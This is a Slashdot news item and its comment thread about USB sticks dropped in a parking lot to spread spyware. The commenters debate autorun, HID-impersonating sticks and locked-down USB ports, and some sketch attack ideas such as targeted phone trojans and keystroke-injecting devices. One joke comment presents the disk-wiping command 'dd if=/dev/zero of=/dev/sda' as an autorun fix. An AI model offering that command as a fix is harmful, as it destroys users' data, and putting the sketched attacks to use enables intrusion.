Slashdot Mirror


Criminals Distribute Infected USB Sticks In Parking Lot

New submitter sabri writes "The Dutch news-site Elsevier is reporting that cybercriminals attempted to steal data from a multinational chemicals company by 'losing' spyware-infected USB sticks on the company's parking lot. Their attempt failed as one of the employees who found the stick dropped it off at the company's IT department, who then found the spyware and issued a warning. So next time, don't expect to find someone's dirty pictures on a USB stick you just found..."

298 comments

  1. Expensive by Anonymous Coward · · Score: 1

    Sounds expensive just to distribute malware/viruses at say even a few bucks a stick compared to traditional methods like email which proven to be quite effective by the gullible. I just don't see this being common practice though it possible it could be a targeted attack in an attempt to penetrate the company specifically.

    1. Re:Expensive by Anonymous Coward · · Score: 4, Informative

      This will usually bypass all the internet-based filtering and security systems.

    2. Re:Expensive by Anonymous Coward · · Score: 0

      Wait, which OS did the malware run on?

    3. Re:Expensive by shibashaba · · Score: 4, Insightful

      These were targeted specifically though at the one company, greatly increasing the odds of getting into something that they were interested in.

      --
      ---------- Open Source is capitalism applied to IP.
    4. Re:Expensive by leftbrainstrain · · Score: 5, Informative

      I haven't heard of this technique actually being used in the wild, but it's enough of a threat to be included in the standard security training everyone has to take for at least a few Fortune 500 companies -- it's why some companies (and the U.S. military, I think) may disable USB ports. Trying to get at potential targets through standard attack vectors may not be effective, so if you have a financial backer this may present a promising attack vector that greedy targets may enable. The book "Security Engineering" cites this web site (had to find via archive.org) where a consulting company found out people inserted the USB sticks under slightly different circumstances: http://web.archive.org/web/20090621014856/http://www.vnunet.com/computing/news/2173365/uk-firms-naive-usb-stick

    5. Re:Expensive by wierd_w · · Score: 4, Interesting

      Personally, I'd target smartphones.

      If I were a malicious programmer out to get corporate dirt, I would release a "perfectly harmless" appstore game or business applet. This applet does not in any way harm the phone, or call home. What I does instead is drop some binaries on the root of the internal sdcard or flash memory storage device to mimic this attack.

      This has several advantages:

      1) you can update your penetration package as part of an app update, which the user won't catch.

      2) you can target a device frequently demanded to be added to device exception lists, such as corporate CEOs insisting their iBone be able to sync their corporate email.

      This gives you a mostly unprotected path to the mailserver if the package delivery mechanism is done right.

      In the case of android phones at least, you can control how the device talks to the computer, and what HID classes it wants. This could let the phone operate as a hardware keylogger, etc.

      Seriously, smartphones are a torpedo.

    6. Re:Expensive by Anonymous Coward · · Score: 0

      Your U.S. military statement is correct. Users plugging in random flash drives (including I think a similar parking lot scheme), some of which contained malware, is exactly the reason why USB ports are "locked down". In reality, it's sometimes only a policy that may be enforced with some sort of IT alert system, but it's not like all the USB ports are physically locked or anything.

    7. Re:Expensive by GumphMaster · · Score: 4, Interesting

      In certain military environments I worked in the USB, Firewire, and microphone ports were immediately filled with epoxy and (where possible) disconnected from the motherboard.

      --
      Patent litigation: A doctrine of Mutually Assured Destruction... in which everyone seems willing to push the button
    8. Re:Expensive by Anonymous Coward · · Score: 0

      dud example, less whatever.py, any linux user would do that

    9. Re:Expensive by wvmarle · · Score: 1

      I thought disabling USB ports (and related such as firewire), cameras, microphones was primarily to prevent data from leaking OUT of the company.

    10. Re:Expensive by Anonymous Coward · · Score: 4, Informative

      Yes, but with Linux you could mount the filesystem noexec and the malware writer would have to figure out how to get it to execute in order to undo the restriction. Which is a substantially harder thing than figuring out how to get it to autorun. Any idiot that's running strange programs from found USB drives deserves whatever malware he gets.

    11. Re:Expensive by phantomfive · · Score: 1

      I'm curious, how would you go about getting a CEO to install an App on his phone? I'm guessing your app isn't going to be very popular (because otherwise you would just make money from advertising, instead of stupid illegal stuff....and if it does get popular, someone will notice it dropping random files on the SDcard).

      So are you going to send him an email to try out your app? He'll ignore it. What are you going to do?

      --
      "First they came for the slanderers and i said nothing."
    12. Re:Expensive by ark1 · · Score: 1

      Depends on your assets. As we saw with stuxnet, compromising integrity of systems was the primary objective.

    13. Re:Expensive by jroysdon · · Score: 2

      We disable for inbound access. All smartphones have Internet access, no? Great way to reverse-tether and get into our network.

    14. Re:Expensive by davydagger · · Score: 1

      not really. at $5 a stick, 10 would be $50 which should be more than enough.

      its actually not a bad idea from an attacker's perspective. Very supprised this company has good employees that can spot things like this.

      Most cases of malware infection come from stupid decisions made by non-tech people. Good sense to avoid crap like this isn't hard or obtrusive, it just requires that people merely pay attention and think on their feet, and some basic awareness.

      that would stop 75% of all malware, found in parking lots or not.

    15. Re:Expensive by davydagger · · Score: 1

      who says the attacker is intrested soley in money?

      mabey just the thrill of it, mabey idealogical goals, mabey revenge, mabey power through blackmail, or some form of leverage.

    16. Re:Expensive by wierd_w · · Score: 2

      Its simple.

      You do both.

      You don't drop the payload indescriminantly. You make use of the fact that nearly every android applet has over-extended priviledges to begin with, and request access to contact list and sdcard the sae as just about every other free app. You go ahead and make a nice and well polished app, then only drop the payload on specific phones, by checking for some criteria. You want this to be just a handful of very high profile people, not joe schlubb.

      While I admit you probably won't have "angry birds" level on your install base, you could probably draw a nice one if you made a very nice and attractive app that caters to corporate types.

      Your payload depostion routine would be selective, using the phone's phonebook to get the phone number for the device, and checking that internally to see if its on the app's hitlist.

      If it is, it activates the malware. If not, enjoy the ad supported app.

      With the degree of information proliferation, things like private cell numbers are considerably less private. Engineering such an attack is more patience than anything else. You could even make it look like you were a victim of a hack yourself as a cover.

    17. Re:Expensive by InspectorGadget1964 · · Score: 3, Insightful

      A properly coded operating system would not execute an unknown application without firs asking the user. Furthermore, a correctly build operating system would not allowed applications executed by an unprivileged user to gain control of the operating system. As you see your comments lack validity. As far as the website you mentioned, that advice will only work with systems that have been badly configured with the intention of allowing an intruder to penetrate them. I suggest you get familiar with real operating systems and stop playing with what in the computer world qualifies as “toddler operating systems” that lack strength and maturity to operate in an unprotected environment.

    18. Re:Expensive by AHuxley · · Score: 1

      Map out the bus stops and have a car with some form of smartphone box reaching out to all that pass by.
      Think back to the Bluetooth efforts with a properly tuned antenna. A few seconds to test for a new, old and very open phone.

      --
      Domestic spying is now "Benign Information Gathering"
    19. Re:Expensive by Anonymous Coward · · Score: 0, Troll

      You can't argue with hairyfeet. The guy's a hopeless MS junkie, his entire business model depends on Windows and the trashed computers users keep bringing him as a result.

      If a genuinely secure and stable OS became popular, he'd be homeless and starving.

    20. Re:Expensive by Anonymous Coward · · Score: 5, Interesting

      dud example

      There are no examples, and the "5 easy steps" from the linked page haven't worked for years.

      One of the reasons Linux is more secure is that the community responds far more quickly to potential threats.

      Hairyfeet always gets to +5 with votes from the Apple/Windows crowd here, but he's never been able to show a single current instance of actual Linux malware in the wild. Much like the 235 patents, it's always threats from the future or the past.

    21. Re:Expensive by Anonymous Coward · · Score: 2, Informative

      Of course on a properly managed system, also on Windows, such a USB stick will do nothing.

    22. Re:Expensive by Hognoxious · · Score: 1

      I thought I'd seen something like it before.

      5 years before, it would seem. Way to go, slashdot!

      --
      Confucius say, "Find worm in apple - bad. Find half a worm - worse."
    23. Re:Expensive by Tom · · Score: 3, Insightful

      I know that taking away the mouse and keyboard dramatically reduces the number of user mistakes, but I do wonder if this isn't taking it a little too far.

      --
      Assorted stuff I do sometimes: Lemuria.org
    24. Re:Expensive by Tom · · Score: 1

      Personally, I'd target smartphones.

      Which is why every company with a serious interest in security has a smartphone policy and has had it for a while. A company I know about but can't drop names, which is part of the supply chain you need to build nuclear bombs, has one specific type of carefully screened smartphone that they issue to employees, no other phones (smart or not) are allowed on company grounds, camera and other parts are disabled in hardware and software installs are tightly controlled. Encryption and remote-wipe as well as an automatic wipe if it can't phone home for a certain time are in the package as well. No, the CEO is not excluded from this policy.

      --
      Assorted stuff I do sometimes: Lemuria.org
    25. Re:Expensive by Anonymous Coward · · Score: 0

      So how do you type stuff?

    26. Re:Expensive by hlavac · · Score: 3, Funny

      Of course on a properly managed system, also on Windows, such a USB stick will do nothing.

      Because all the USB ports are filled with glue.

    27. Re:Expensive by TheRaven64 · · Score: 3, Informative

      noexec only disables things that the kernel runs directly. It doesn't disable scripts if you invoke them via the correct command interpreter and it certainly doesn't protect you against, for example, a libpng or libjpeg exploit and a malicious image.

      --
      I am TheRaven on Soylent News
    28. Re:Expensive by Culture20 · · Score: 1

      Just use a known tiff, jpeg, or png vulnerability. There are plenty of Linux systems that people don't upgrade controlling scientific equipment, and sneakernet is the only way to transfer files to them if they're disconnected from the 'net. If it's running a GUI, just making a thumbnail for a folder view could be enough to activate the payload.

    29. Re:Expensive by leonardluen · · Score: 1

      we only heard about the sticks that were caught, not how many others actually got plugged in to a company computer.

    30. Re:Expensive by flappinbooger · · Score: 1

      Sounds expensive just to distribute malware/viruses at say even a few bucks a stick compared to traditional methods like email which proven to be quite effective by the gullible. I just don't see this being common practice though it possible it could be a targeted attack in an attempt to penetrate the company specifically.

      CD-Rs with something intriguing sharpied on the front would be a lot cheaper that's for sure. The cheapest flash drives are maybe what, $3? $2? CDr can be had for cents. A malware campaign using this tactic would only use USB flash if they were zeroed in on the target(s) or as someone else said if they had gov't level funding.

      A sow-them-to-the-wind campaign would rather use CDr I would think.

      Any pen testers out there that can attest to this?

      --
      Flappinbooger isn't my real name
    31. Re:Expensive by slashping · · Score: 1

      A CD-R might be considered more suspicious. They don't typically fall out of somebody's pocket while they grab their car keys.

    32. Re:Expensive by zoloto · · Score: 2

      No, because the usb port will fail to load anything but keyboard and mouse drivers per Active Directory .adm rules.

      Noob

    33. Re:Expensive by Fatch+Racall · · Score: 1

      Except that, even though at my company the Active Directory .adm rules disable USB storage devices, there's still a lag time between plugging it in and having it disabled. I was able to pull a few files off a USB flash drive in that time, easy as pie.

      --
      #include <disclaimer.h>
    34. Re:Expensive by ultranova · · Score: 1

      No, because the usb port will fail to load anything but keyboard and mouse drivers per Active Directory .adm rules.

      Having a USB device pose as a keyboard and thus able to send keypresses could still be a security threat. Granted, it's not quite as efficient as two-way communications, but could still cause quite a bit of damage.

      The parent has a point: if you don't want people plugging in USB devices, just physically disable the ports.

      --

      Forget magic. Any technology distinguishable from divine power is insufficiently advanced.

    35. Re:Expensive by DocSavage64109 · · Score: 1

      The parent has a point: if you don't want people plugging in USB devices, just physically disable the ports.

      That only works on machines that still have ps2 ports. Plenty of machines don't have them now days.

    36. Re:Expensive by Feyshtey · · Score: 1

      If your goal is to steal the company's trade secrets this is a microscopic investment for a potential cash windfall.

      --
      "But we have to pass the bill so that you can find out what is in it,..." - Nancy Pelosi
    37. Re:Expensive by LWATCDR · · Score: 1

      Understandable but a major pain in the rear. For example I used to use a USB drive that I just kept plugged into the back of my PC as an extra back up. Sure I put it on the network and the network drive was backed up but the USB drive was just one more backup just in case. I also kept a USB drive with me that I used as a back up.
      In some cases security must trump convenience but what a pain.

      Of course some places use USB drives as part of the security. That is how they move data from their networked systems to their air gapped secure systems.

      --
      See my blog http://ilovecookes.blogspot.com/ for light hearted technical information.
    38. Re:Expensive by danomac · · Score: 1

      Probably PS/2 keyboard/mouse. It's getting harder to find boards with those ports now, wonder what they do now?

    39. Re:Expensive by marcosdumay · · Score: 1

      No problem. Just make sticks that act as keyboards and, once installed, download and run your malware.

    40. Re:Expensive by Anonymous Coward · · Score: 0

      'mabey' to teach you how to spell 'maybe' correctly

    41. Re:Expensive by mcgrew · · Score: 1

      CDrs are a lot more fragile than USB sticks. Throw a CD out of your car window and see if it still plays.

    42. Re:Expensive by GumphMaster · · Score: 1

      At the time mouse and keyboard used those Oh-so-retro DIN connectors. I guess the modern equivalent would involve gluing the keyboard and mouse USB plugs into the sockets although that's a bit of a maintenance headache, although arguably still cheaper than the loss of the information. I didn't notice a particular decline in carbon-based failure rate ;)

      --
      Patent litigation: A doctrine of Mutually Assured Destruction... in which everyone seems willing to push the button
    43. Re:Expensive by Anonymous Coward · · Score: 0

      "this canoe never tips, because when it does, we flip it upright more quickly and its contents dry out faster than the other guy's canoe".

    44. Re:Expensive by Tom · · Score: 1

      Nope, it's not the same. Security, wise, it is much cheaper. Cutting the cable and splicing it into my custom USB device is not trivial, but possible. If I cut at the right point, I could possibly even re-attach it to the keyboard so it will pass casual inspection.

      --
      Assorted stuff I do sometimes: Lemuria.org
    45. Re:Expensive by zoloto · · Score: 1

      Then they're doing it wrong.

    46. Re:Expensive by Marxist+Hacker+42 · · Score: 1

      Not too terribly expensive. You don't exactly have to have a high capacity stick to do this- looks like you can pick up 32MB sticks for approximately 89 cents each in bulk and that's enough to put a "phone home and FTP up a hard drive" application on autorun under a cute cat video.

      --
      SJW: a person who perceives an injustice, and while correcting it, commits a greater injustice.
    47. Re:Expensive by Anonymous Coward · · Score: 0

      Maybe a spell check app or a ideological app eh?

  2. Thats what virtual machines are for. by Kenja · · Score: 5, Funny

    So you can load USB sticks you find and extract the pictures!

    --

    "Have you ever thought about just turning off the TV, sitting down with your kids, and hitting them?"
    1. Re:Thats what virtual machines are for. by Anonymous Coward · · Score: 5, Insightful

      No, that's what operating systems that don't automatically run any executable that happens to appear are for.

      Good god - how idiotic does an OS have to be, to run executables from any media you happen to insert?

    2. Re:Thats what virtual machines are for. by Anonymous Coward · · Score: 0

      Human body does it.

    3. Re:Thats what virtual machines are for. by Anaerin · · Score: 4, Interesting

      Just because it looks like a memory stick, doesn't mean it actually is one. Put a microcontroller in there with a USBHID type program and you've got a keylogger, or some other remote access system just waiting to be triggered.

    4. Re:Thats what virtual machines are for. by Anonymous Coward · · Score: 0

      Shhush! Why you sneaky B*stard!

      I have found many flash sticks, and ran fresh anti-virus on them.
      Almost all that I have found, have some auto-load trojan or something.
      Good test of your security system.

      I even found a copy of Adobe Illustrator installer, which with the provided serial number works perfectly.
      Scan even your own drives, and for god sakes, turn off windows auto-run.

    5. Re:Thats what virtual machines are for. by Johann+Lau · · Score: 4, Insightful

      The human body either digests or kills anything that's not marked as belonging to the body. It does allow stuff on it's surface and in the lining of the stomach I guess, but other than that, it seems to shoot first and asks questions later. Of course it can be tricked or overwhelmed, but it's not nearly as laid back as you seem to think. (Which can lead to horrible conditions where some body cells aren't recognized for some reason, and mercilessly attacked.)

      The human body = mean ass motherfucker. Don't even fucking look at the guy, or he will travel back in time and drop your parents before they can meet.

      Computers and operating systems, definately consumer ones = uhm... Ralph Wiggum? Yeah, that seems about right :P

    6. Re:Thats what virtual machines are for. by InspectorGadget1964 · · Score: 1

      Well, any MS OS will do it.....

    7. Re:Thats what virtual machines are for. by Anonymous Coward · · Score: 0

      But it's SO CONVENIENT for lazy users. Having to click a few times is painstaking work!

    8. Re:Thats what virtual machines are for. by slazzy · · Score: 1

      This is a good analogy, our bodies even have false positives, they are called "auto immune diseases" when the body attacks itself.

      --
      Website Just Down For Me? Find out
    9. Re:Thats what virtual machines are for. by Johann+Lau · · Score: 1

      Yeah, that's what I was thinking of, but the term escaped me; thanks. They may be rare, but when they occur, oh boy :(

    10. Re:Thats what virtual machines are for. by Anonymous Coward · · Score: 0

      More than that. From my experience, the issue is not the number of clicks but them knowing where to click. This one person I know goes through the process of Start -> Run -> Browse to find and work with a file, so they can't even multi-select well. People that don't try to learn a system find weird crutches that allow them to work the system.

      On the other hand requiring a person to sit down and learn a system to use it well is a fault of the designers, but allowing the most functionality with the greatest ease of use is always the biggest challenge.

    11. Re:Thats what virtual machines are for. by gman003 · · Score: 1

      Why bother with virtuals?

      I have a "shitbox" I would use for this. The intent is that it is disposable - both hardware and data. In my case, it's an old, beige Athlon 900 desktop with a fading Windows ME sticker still on it. I've slapped all my old hard drives and OpenBSD on it.

      I use it mainly for trying out server shit. Learned how to set up Samba and Apache on it. Tried out several other things, as well.

      The only data on it are some SNES ROMs, tertiary backups of non-secret data (source code for various personal shit, it's all stored in two other places), and a rather large collection of porn. I wouldn't really be mad if it all disappeared (even the porn - it means I have an excuse to go smut-hunting again).

      So between "even if the virus literally makes it explode, I don't give a shit" and "it's Open-fucking-BSD, who in their right mind would try to write a virus for it?", I would be fully confident plugging a random USB drive into it. More confident than on a virtual, even - what if it connects to the host machine instead, by accident?

    12. Re:Thats what virtual machines are for. by tchuladdiass · · Score: 1

      Even better is if it is a Firewire device -- from what I've read, Firewire gives all kinds of direct memory access to stuff plugged into it (it is a system level bus). Even more so for PC-card (pcmcia) devices.

    13. Re:Thats what virtual machines are for. by Anonymous Coward · · Score: 5, Interesting

      We had a couple turn out in our parking lot that when plugged in showed up as a hub that was connected to a usb drive, cd drive and a keyboard. The last one was tricky. After being plugged in, it would install the devices one by one and try to run them, if that didn't work, it registered as a keyboard and tried to put the input of windows key+r then iexplore websiteURL. That last one took me by surpise, as I'd never seen it before.

    14. Re:Thats what virtual machines are for. by dryeo · · Score: 3, Interesting

      The quadrillion bacteria happily living in your guts would disagree, and depending on the type of their population they'll even change your behaviour.
      http://www.sciencedaily.com/releases/2011/05/110517110315.htm

      --
      https://en.wikipedia.org/wiki/Inverted_totalitarianism
    15. Re:Thats what virtual machines are for. by JDG1980 · · Score: 4, Insightful

      Good god - how idiotic does an OS have to be, to run executables from any media you happen to insert?

      Not idiotic, just outdated. When Windows XP was released, way back in 2001, the assumption was that removable media was going to be a pressed CD or DVD and that these sources could be trusted. This assumption started to break down with the advent of cheap CD/DVD writers, and became completely absurd when inexpensive flash drives proliferated.

      As a result, Microsoft removed Autorun from USB drives as part of a Windows XP update in 2011. (Probably a bit late, but still, they did fix it.) On Windows 7, Autorun for USB drives was never included. The user would have to run the malware manually (and if it wants admin permissions, you'd also have to click through the UAC warning).

    16. Re:Thats what virtual machines are for. by LordLimecat · · Score: 1

      Because virtuals have snapshots, whereas physical boxes do not.

    17. Re:Thats what virtual machines are for. by Barbarian · · Score: 1

      Good god - how idiotic does an OS have to be, to run executables from any media you happen to insert?

      Not idiotic, just outdated. When Windows XP was released, way back in 2001, the assumption was that removable media was going to be a pressed CD or DVD and that these sources could be trusted. This assumption started to break down with the advent of cheap CD/DVD writers, and became completely absurd when inexpensive flash drives proliferated.

      Autorun comes from Windows 95. Worth noting that cd writers were pretty cheap in 1998.

    18. Re:Thats what virtual machines are for. by colinrichardday · · Score: 1

      Can a keylogger work if it's mounted read only? How would it get the data?

    19. Re:Thats what virtual machines are for. by Anaerin · · Score: 1

      How, precisely, do you mount a keyboard as read-only? Because that's what the micro-controller I'm proposing will look like to the system. It'd appear as a memory stick and a keyboard or a mouse or some other kind of interface device.

    20. Re:Thats what virtual machines are for. by sqlrob · · Score: 1

      He's not saying the software on the stick is a keylogger. He's saying the stick itself is a keylogger. Just because it looks like a flash drive doesn't mean it is one.

    21. Re:Thats what virtual machines are for. by GoodNewsJimDotCom · · Score: 1

      I think an executable would be fine. I think executables would be what lets Linux take off in the market more.

      The key is: Do not let an executable change data in any directory other than where it is installed. This way it can't change the system boot sector! It can't even change your sims baby cats edition.

      You could turn Windows into a solid security machine if you just did that. People would start downloading junk they find off the internet and liking it.

    22. Re:Thats what virtual machines are for. by Anonymous Coward · · Score: 0

      So keystrokes from a real keyboard are for some reason being broadcast to other (devices posing as) keyboards? That's somewhat counterintuitive to me, but gotta read the usb specs...

    23. Re:Thats what virtual machines are for. by colinrichardday · · Score: 1

      mount /dev/usb -ro /media/fake_keyboard Does it matter what it looks like to the system?

    24. Re:Thats what virtual machines are for. by colinrichardday · · Score: 2

      And If I mount the stick read-only, how does the keylogger get data?

      mount /dev/usb -ro /media/fake_keyboard

    25. Re:Thats what virtual machines are for. by pe1chl · · Score: 1

      When an office system executes programs from an external USB stick, it is just badly managed by the IT department.

      In fact, Windows offers more control over features like this (via group policy) than most other systems.

    26. Re:Thats what virtual machines are for. by pe1chl · · Score: 1

      On a properly managed company system, the administrator has turned off the possibility to run executables from removable media.
      Easy.

    27. Re:Thats what virtual machines are for. by ravenshrike · · Score: 2

      It's not lupus.

    28. Re:Thats what virtual machines are for. by Anonymous Coward · · Score: 0

      Just like you can convert JPEG to PDF by just changing the extension...

    29. Re:Thats what virtual machines are for. by Johann+Lau · · Score: 1

      The quadrillion bacteria happily living in your guts would disagree

      With what? With "does allow stuff [..] in the lining of the stomach", for example? :P

    30. Re:Thats what virtual machines are for. by slashping · · Score: 1

      No. If you plug in such a USB device, it will only get the traffic designated for it, and it won't see the traffic for your keyboard or mouse.

    31. Re:Thats what virtual machines are for. by Robert+Zenz · · Score: 1

      So, it's the fault of Ford that we have driving schools?

    32. Re:Thats what virtual machines are for. by Anonymous Coward · · Score: 0

      Are you retarded? Not everything is a USB mass storage device. Unless you're very paranoid with your system configuration, your computer will start talking to a fake keyboard just like it would talk to a real one: Hello ghost typist!

    33. Re:Thats what virtual machines are for. by Anonymous Coward · · Score: 0

      That command tells your system to not write to the stick. It doesn't bother the microcontroller on the stick the slightest. So if the stick would get data, because it is listening on the USB line itself it can just log it itself. The question is: Can an USB device snoop on other devices traffic?

      It is like wondering why you got car tracks in your backyard, because your car was locked.

    34. Re:Thats what virtual machines are for. by Anonymous Coward · · Score: 0

      Both autorun and the insight that autorun is inherently unsafe existed well before Windows XP. Microsoft wasn't a little bit late in fixing it, Microsoft was being highly irresponsible for far too many years.

    35. Re:Thats what virtual machines are for. by fatphil · · Score: 1

      Autorun.inf? Windows 95, IIRC. Or, to answer the question as asked, "pretty idiotic". They viewed it as "user friendly", of course.

      You had to go out of your way if you wanted the same behaviour on MacOS or OSX, but they did mount the volumes automatically. Linux mostly avoided the idiotic behaviour too, but I seem to remember some versions of Ubuntu had it for a while. I suspect I didn't say a positive word about the distribution for many years after that incident - anyone stupid enough to make a decision like that simply cannot be trusted to make any decision.

      --
      Also FatPhil on SoylentNews, id 863
    36. Re:Thats what virtual machines are for. by slashping · · Score: 1

      The question is: Can an USB device snoop on other devices traffic?

      No, it can't. The upstream hub only sends data to a port that's destined for the attached device. I've seen some hubs also "broadcast" some setup packets, but they wouldn't have any useful information. The only exception would be if the device is a USB hub, which naturally has to pass through all the traffic for the attached devices.

    37. Re:Thats what virtual machines are for. by fatphil · · Score: 1

      What's this "mounting" you're talking about?

      Do you "mount" your network card? Nope, but it still manages to pass packets in and out of your machine.

      Do you "mount" your monitor? Nope, but it still manages to grab the data in your framebuffer and display it.

      Why on earth do you think you'd need to "mount" a USB sniffer?

      --
      Also FatPhil on SoylentNews, id 863
    38. Re:Thats what virtual machines are for. by Anonymous Coward · · Score: 0

      Huh. Is this something that actually exists and works?

    39. Re:Thats what virtual machines are for. by Anonymous Coward · · Score: 0

      It could send the log data over the Internet.

    40. Re:Thats what virtual machines are for. by Anonymous Coward · · Score: 0

      How does it get data? Answer: When you plugged it in, the OS happily configured it as a second input device.

      It may *also* have a dummy file system to make you feel all warm and fuzzy when you type mount, but you were already pwnt before you started typing mount.

    41. Re:Thats what virtual machines are for. by Anonymous Coward · · Score: 0

      Just because they're not part of the same cellular organism doesn't mean they don't "belong to the body".

    42. Re:Thats what virtual machines are for. by Anonymous Coward · · Score: 0

      Autorun existed with floppy disks since the first 8-bit home computers. How else would the Disk Operating System be installed? When the typical home computer just had two floppy disk drives (one for the application, one for the data), auto-run was necessary to boot up the OS or application. Hardware developers liked it because, they could install a driver without worrying about other drivers. This did lead to the hazard of boot-sector viruses.

      Autorun works on USB drives. The system just sees it as another disk drive. Even the memory-cards on mobile phones seem to allow autorun. My cheap ZTE phone would automatically rewrite the routing tables of the PC through the mobile phone network, and neatly restore them once disconnected.

    43. Re:Thats what virtual machines are for. by Anonymous Coward · · Score: 0

      mount /dev/usb

      WTF? IT'S NOT A STICK. It's a keyboard. When you plug in a keyboard, do you have to mount it? No. It's not even possible to mount a keyboard. It doesn't make conception sense that it would be possible to mount a keyboard. When you plug in a keyboard, it starts acting as a keyboard and you start typing on it. There's no mounting or "read only" involved.

    44. Re:Thats what virtual machines are for. by Anonymous Coward · · Score: 0

      Do you have any idea how *nix filesystems are laid out? That's completely unfeasible as you've written it...

      But SELinux does what you're suggesting, and it does it pretty damn well (aside from the possible flaw of being written by the NSA). Directories and binaries are tagged with certain policies, and if a binary tries to perform an action that doesn't match it's policy, a flag gets thrown.

    45. Re:Thats what virtual machines are for. by Anonymous Coward · · Score: 0

      FYI: try visiting the HAK5 shop and look at their USB rubber ducky.

      It mimics a USB Keyboard and thus works even if Autorun is disabled.

    46. Re:Thats what virtual machines are for. by colinrichardday · · Score: 1

      chmod a-w /dev/usb?

    47. Re:Thats what virtual machines are for. by Anonymous Coward · · Score: 0

      I've contemplated having a system like this, but with one additional aspect. I'd have to look up what the name of the current programs that do it are, but I think Norton Ghost accomplished it. Basically, the operating system and all data on the hard drive are for all intents and purposes set in stone. Every time you reboot (or re-ghost it, I'm not entirely sure when it resets), it will reset the drive to be identical to when it was ghosted.

      Thus, you run some weird crap. As long as it doesn't do damage to the hardware, you reboot or reghost or whatever, and everything that was installed on it is gone, and you're back to square 1.

    48. Re:Thats what virtual machines are for. by Anonymous Coward · · Score: 0

      The human body = mean ass motherfucker

      Oh give me a break. I know you want to feel special and all, but ALL mammalian bodies do this. Not just human beings.

    49. Re:Thats what virtual machines are for. by Anonymous Coward · · Score: 0

      "the assumption was that removable media was going to be a pressed CD or DVD and that these sources could be trusted."

      Sony's rootkit discs were stamped.media.

    50. Re:Thats what virtual machines are for. by Anonymous Coward · · Score: 0

      Only for some values of "pretty cheap"

    51. Re:Thats what virtual machines are for. by Anaerin · · Score: 1

      You're still thinking software running on the system. This would be a piece of HARDWARE. You plug it into a USB port and the system sees it as a physical keyboard. It then logs keystrokes in it's internal memory. Or it sends key presses to the system to take it over, as you would do with a regular keyboard. There's no way to "mount" a keyboard as read-only. And the microcontroller could easily see what operating system it's connected to, and thus customize it's sent keypresses to attack based on the operating system it's plugged into.

    52. Re:Thats what virtual machines are for. by Anonymous Coward · · Score: 0

      And you're still thinking that keypresses are being sent to the keyboard by the operating system instead of other way around.

    53. Re:Thats what virtual machines are for. by colinrichardday · · Score: 1

      What about chmod a-w /dev/usb? Does Linux allow for greater paranoia in this regard than Windows?

    54. Re:Thats what virtual machines are for. by Johann+Lau · · Score: 1

      The post I replied to was talking about the human body, in contrast to machines. I didn't imply the human body is special in that regard, so huh? Also, what's so special about mammals? :P

    55. Re:Thats what virtual machines are for. by Anonymous Coward · · Score: 0

      You said it. My mean-ass body started kicking my pancreas's ass in 1965 and hasn't stopped since. That means Type 1 diabetes, thanks to my auto-immune killing machine!

  3. Or just browse the thing while running Linux by the_humeister · · Score: 5, Funny

    Or turn off auto-run in Windows. I once found a USB drive on the ground. Turns out it was some grad student's drive. I tried to return it but got no response from the email I found on his resume.

    1. Re:Or just browse the thing while running Linux by ArchieBunker · · Score: 4, Informative

      Actually auto run is no longer turned on by default in windows. XP had an update that disabled it.

      --
      Only the State obtains its revenue by coercion. - Murray Rothbard
    2. Re:Or just browse the thing while running Linux by Anonymous Coward · · Score: 0

      FOR USB DRIVES, but what about the USB drives that emulate a usb cd as well?

      Guess what, still works.

    3. Re:Or just browse the thing while running Linux by davidwr · · Score: 1

      Actually auto run is no longer turned on by default in windows. XP had an update that disabled it.

      I ran a homebrew fix manually long before Microsoft issued their patch:

      # dd if=/dev/zero of=/dev/sda

      --
      Knowledge is how to play a game, intelligence is how to win, wisdom is knowing what game to play.
    4. Re:Or just browse the thing while running Linux by Anonymous Coward · · Score: 1

      I tried that and it broke my perfectly usable OS. I tried installing linux but found it to be a piece of shit sometimes.

    5. Re:Or just browse the thing while running Linux by Hognoxious · · Score: 1

      Those do exist. I bought one and it was preinstalled with malware.

      I hadn't disabled CD autorun because the machine didn't have a CD drive!

      --
      Confucius say, "Find worm in apple - bad. Find half a worm - worse."
    6. Re:Or just browse the thing while running Linux by Anonymous Coward · · Score: 0

      Actually auto run is no longer turned on by default in windows. XP had an update that disabled it.

      Autorun and Autoplay aren't the same thing, although related. They are both part of the problem.

    7. Re:Or just browse the thing while running Linux by bejiitas_wrath · · Score: 1

      I remember an old version of Red Hat Linux that had autorun enabled by default. No longer of course.

      --
      liberare massarum ex ignorantia, clausa descendit molestie.
    8. Re:Or just browse the thing while running Linux by virgnarus · · Score: 1

      I'm perplexed; why is this marked funny?

    9. Re:Or just browse the thing while running Linux by antdude · · Score: 1

      One day, there will be one designed for Linux/UNIX. Or maybe it exists already?

      --
      Ant(Dude) @ Quality Foraged Links (AQFL.net) & The Ant Farm (antfarm.ma.cx / antfarm.home.dhs.org).
  4. just mount it in Linux by awollabe · · Score: 4, Interesting

    and laugh at the windows auto-loader files they tried to get you with.

    Seriously, I found a "trick" USB stick in my work mailbox once, which turned out to be a test from our IT department that, if you loaded it (in Windows), would direct you to an obligatory computer security training program. After I called them about it, they let me keep it.

    1. Re:just mount it in Linux by mlts · · Score: 4, Informative

      USB sticks can present themselves to the computer as more than just removable hard disks. I've seen some that will act as keyboards and when plugged into Windows, will automatically try to type things in.

      If the USB device can present itself as the right item, it can potentially do more damage than "just" a drive or filesystem with malware on it.

    2. Re:just mount it in Linux by bill_mcgonigle · · Score: 4, Interesting

      If the USB device can present itself as the right item, it can potentially do more damage than "just" a drive or filesystem with malware on it.

      I forget the exact mode of attack, but some will nudge the mouse a pixel or two every minute or so to prevent the screensaver from kicking on, and then after some period of user inactivity will begin doing the nefarious bits. I suppose it's easy to kick off a cmd shell from that point and script the attack.

      I'd imagine the non-mouse/keyboard part of the "drive" is baited with good porn or addictive games to encourage its continued presence. Anyway, you can scan it all you want, the drive is clean.

      --
      My God, it's Full of Source!
      OUTSIDE_IP=$(dig +short my.ip @outsideip.net)
    3. Re:just mount it in Linux by Anonymous Coward · · Score: 0

      But what if the USB stick had an MBR-type virus/trojan ? :-p

    4. Re:just mount it in Linux by Anonymous Coward · · Score: 1

      I've built one of these, it is surprisingly easy to get certain parts of it built without much in the way of tools or starting knowledge.

      In my case it was just a proof of concept type thing to learn HOW to do it, but it would be fairly easy to make one do horrible things...

      Then again... Random text strings are fun. Whenever a certain nickname was typed the phrase "loves the cock" would quickly follow. Immature for sure, but hilaaarious to use at lan parties ;)

      Or the mouse-jerker.... Those counter-strike playing screaming 14 year olds went fucking meeeental when they kept missing sniper shots *cough*

    5. Re:just mount it in Linux by Anonymous Coward · · Score: 0

